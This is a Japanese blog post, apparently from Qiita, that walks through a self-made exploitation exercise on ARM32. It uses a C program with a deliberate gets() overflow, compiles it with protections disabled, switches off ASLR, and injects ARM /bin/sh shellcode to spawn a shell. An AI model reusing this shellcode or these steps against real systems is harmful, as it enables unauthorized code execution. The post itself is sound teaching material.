5
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

C言語Advent Calendar 2018

Day 8

pwnの練習問題 その2

Last updated at Posted at 2018-09-24

#概要
pwnの練習問題、作って見た。
shellcode、使う。

#問題
下記のプログラムの脆弱性を突いて、シェルを起動せよ。

#include <stdio.h>

void hexdump(char * buf0)
{
	char hd[] = "0123456789abcdef";
	int i;
	for (i = 0; i < 40; i++)
	{
        printf ("%c", hd[buf0[i] >> 4]);
        printf ("%c", hd[buf0[i] & 0xf]);
        printf (" ");
    }
	printf ("\n");
}
int main()
{
	char buf[40];
	printf("%p\n", buf);
	gets(buf);
	hexdump(buf);
}

#コンパイルする

gcc -fno-stack-protector -zexecstack test.c

#静的調査

pwn checksec a.out
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/pi/pwn1/a.out'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000)
    RWX:      Has RWX segments

#動的調査
Aが、45個でSegmentation fault

echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | ./a.out

Segmentation fault

#方針

バッファオーバーフローを利用して、リターンアドレスを書き換えて、送り込んだシェルコードを実行させる。

#gdbで調査

bufのアドレス、0xbeffefd0

#コードを作成

echo -ne "\x0f\x00\xa0\xe1\x14\x00\x80\xe2\x02\x20\x22\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00AAAAAAAA\xd0\xef\xff\xbe" | ./a.out

#結果
Segmentation fault

#調査、対策
bufのアドレスが、毎回、変わる。ASLRだ。
ASLRを止める。

sudo sysctl -w kernel.randomize_va_space=0

#コード作成、実行(正解)

echo -ne "\x0f\x00\xa0\xe1\x14\x00\x80\xe2\x02\x20\x22\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00AAAAAAAA\xf0\xef\xff\xbe" > buf
(cat buf; cat) | ./a.out
0xbeffeff0

0f 00 a0 e1 14 00 80 e2 02 20 22 e0 05 00 2d e9 0d 10 a0 e1 0b 70 a0 e3 00 00 00 ef 2f 62 69 6e 2f 73 68 00 41 41 41 41 
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
pwd
/home/pi/pwn1
exit

以上。

5
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?